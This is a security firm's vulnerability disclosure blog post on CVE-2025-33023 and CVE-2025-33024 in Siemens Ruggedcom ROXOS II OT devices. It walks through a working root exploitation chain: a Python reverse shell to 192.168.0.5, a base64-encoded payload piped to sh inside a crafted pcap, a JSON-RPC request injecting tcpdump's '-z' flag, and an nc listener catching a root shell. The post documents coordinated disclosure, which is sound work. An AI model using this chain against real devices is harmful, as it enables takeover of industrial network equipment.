Blog

Siemens Ruggedcom Roxos II OS Remote Code Execution Attack Chain

Siemens RuggedCom ROXOS II OS Remote Code Execution Attack Chain

Trae Mazza, Senior Security Engineer

Discovery Overview

RMC recently uncovered two vulnerabilities that affect all Ruggedcom ROXOS II devices before version 2.16.5 while on a penetration test for a client. Ruggedcom devices are made by Siemens who is a leading vendor in Operational Technology (OT) networking equipment. The vulnerabilities discovered would allow an authenticated user with privileges to upload configurations and run the ‘tcpdump’ tool to execute arbitrary commands on the underlying Linux operating system as root via an arbitrary file upload and command injection due to missing server-side input sanitation.

The vulnerabilities identified by RMC are present in the following Ruggedcom ROXOS II products:

  • RUGGEDCOM ROX MX5000 (All versions < V2.16.5)
  • RUGGEDCOM ROX MX5000RE (All versions < V2.16.5)
  • RUGGEDCOM ROX RX1400 (All versions < V2.16.5)
  • RUGGEDCOM ROX RX1500 (All versions < V2.16.5)
  • RUGGEDCOM ROX RX1501 (All versions < V2.16.5)
  • RUGGEDCOM ROX RX1510 (All versions < V2.16.5)
  • RUGGEDCOM ROX RX1511 (All versions < V2.16.5)
  • RUGGEDCOM ROX RX1512 (All versions < V2.16.5)
  • RUGGEDCOM ROX RX1524 (All versions < V2.16.5)
  • RUGGEDCOM ROX RX1536 (All versions < V2.16.5)
  • RUGGEDCOM ROX RX5000 (All versions < V2.16.5)

Siemens ProductCERT team issued advisories regarding the vulnerabilities discussed in this blog post:

CISA issued advisories regarding the RCE vulnerability discussed in this blog post:

Vulnerability Details

CVE-2025-33023 – Arbitrary File Upload

CVSSv3.1 Score: 4.7 AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

RMC determined that any file type and extension could be uploaded by a user with valid ROXOS II webUI admin credentials and network access to the webUI utilizing the Install Files feature. The affected device did not validate file types by extension, magic bytes, or any other means. RMC was able to upload text files, binary files, as well as EICAR test files which contain a signature that should be blocked if malware detection is occurring.

The following screenshot shows a successful upload of a malicious packet capture file to the Featurekeys directory (/var/lib/featurekeys) on the host through the Install Files page.

RMC Global screengrab

Figure 1 – File Actions Arbitrary File Upload

RMC leveraged this arbitrary file upload to execute files by the tcpdump network utility built-in to the webUI, as enumerated in the following CVE description.

CVE-2025-33024 – Remote Code Execution

CVSSv3.1 Score: 9.9 /AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A user with valid admin credentials to the Ruggedcom ROXOS II webUI and network access to the webUI can achieve remote code execution as root via the built-in network utility, tcpdump, by abusing the improper handling of the ‘-z’ flag and the previously discussed arbitrary file upload vulnerability. The ‘-z’ flag is tcpdump’s postrotate command flag. The postrotate command in a tcpdump logrotate configuration specifies a script or command to run after log rotation is completed, such as restarting tcpdump to begin logging to a new file.

With the above arbitrary file upload, we were not able to upload files outside of the config directory or make the uploaded files executable, so the standard GTFOBin for tcpdump command execution would not work. However, we could upload a malicious pcap file that contains a shell script and point tcpdump’s ‘-z’ flag to the malicious pcap file, like Otorio’s attack path on the Airlink AceManager, outlined here:

In order to generate a proper malicious pcap file that would work on the target, the following script that embeds a payload within a pcap can be used:

RMC used the following python reverse TCP shell payload to get a reverse shell from the vulnerable host.

				
					python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.5",80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
				
			
For the payload to work in the malicious pcap on the target system, it first needs to be base64 encoded. The code block below shows the final payload that can be added into the malicious pcap file through the generator script for a reverse shell.
				
					echo cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxOTIuMTY4LjAuNSIsODApKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKScK | base64 -d | sh
				
			

The above payload can be added into the malicious pcap generator script within the main function. Then, run the script to generate the malicious pcap file with the reverse shell payload.

				
					if __name__ == "__main__":
    main('echo cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxOTIuMTY4LjAuNSIsODApKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKScK | base64 -d | sh', 'rce.pcap', )
    # After creating pcap, execute payload with command:
    # tcpdump -r injectrce.pcap -w output -C 1 -zsh

				
			

The following code block shows running the generator script and shows the payload at the start and end of the generated pcap file.

				
					┌──(root㉿kali)-[~/ruggedcom]
└─# python pcap_gen.py                 
Pcap Size: 1000888
                                                                                                    
┌──(root㉿kali)-[~/ruggedcom]
└─# ls
pcap_gen.py  rce.pcap
                                                                                                    
┌──(root㉿kali)-[~/ruggedcom]
└─# head -n3 rce.pcap 
��AAAA22
#   Armc-rc�
echo cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxOTIuMTY4LjAuNSIsODApKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKScK | base64 -d | sh

┌──(root㉿kali)-[~/ruggedcom]
└─# tail -n1 rce.pcap                           
echo cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxOTIuMTY4LjAuNSIsODApKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKScK | base64 -d | sh

				
			

With the payload ready, the payload can be uploaded and executed. The payload can be uploaded from within the WebUI at Administration -> System -> File Actions on the Install Files tab. A successful upload of the file is shown below.

RMC Global screengrab

Then we can launch the request that runs tcpdump on the target from the TCP Dump page and modify the “args” parameter in BurpSuite to exploit our payload.

RMC Global screengrab
				
					POST /jsonrpc HTTP/1.1
Host: 192.168.0.2
Cookie: sessionid_443=sessk2pqnp0Gb++hCjm0/a7HZL==
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 268
Origin: https://192.168.0.2
Referer: https://192.168.0.2/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

{"id":1355,"jsonrpc":"2.0","method":"init_cmd","params":{"th":1,"name":"tcpdump","args":" -r /var/lib/config/rce.pcap -w /var/lib/config/tmprce.pcap -C 1 -zsh","emulate":false,"width":80,"height":24,"scroll":0,"comet_id":"tcpdumpfc8e19b4-5618-465b-88a4-c3e4b8193d30"}}

				
			

Before submitting the modified request, a shell handler needs to be started.

				
					┌──(root㉿kali)-[~]
└─# nc -lvnp 80
listening on [any] 80 ...

				
			

Finally, the modified request can be forwarded and to catch a root shell!

				
					connect to [192.168.0.5] from (UNKNOWN) [192.168.0.2] 43744
# whoami           
whoami
root
# ls /root
ls /root
emergboot.sh
# ls /
ls /
bin          etc             lib         mnt       ruggedboot  sys  vmlinuz
boot         home            logs        proc      run         tmp  vmlinuz.old
bootoptions  initrd.img      lost+found  root      sbin        usr
dev          initrd.img.old  media       roxcache  srv         var

				
			

Timeline

03-19-2025 –Disclosure to vendor

03-20-2025 – Vendor Acknowledge & Meeting for findings debrief

03-21-2025 – Vendor and RMD establish timelines for fix/public disclosure

04-16-2025 – Discussion to review vendor’s analysis of issues and CVSS scores

05-13-2025 – Vendor releases patch to remediate the RCE vulnerabilities

08-12-2025 – Vendor releases patch to remediate the arbitrary file upload vulnerabilities

08-12-2025 – Public Disclosure

Credit

The arbitrary file upload vulnerability was discovered by Zack Levine of RMC. The RCE vulnerability was discovered by Trae Mazza. Thanks to MadHatHacker for the pcap script and Otorio for the tcpdump attack chain research on the AirLink.

RMC appreciates the prompt and professional manner in which Siemens handled the disclosure process and the coordination with the U.S Cybersecurity and Infrastructure Security Agency (CISA).

How can RMC help your organization? 

Contact us today: [email protected]

Be sure to follow RMC on LinkedIn, and sign up for the RMC Newsletter to stay apprised of industry insights and topical advice on establishing cyber resiliency in IT and OT environments. 

More Blog Posts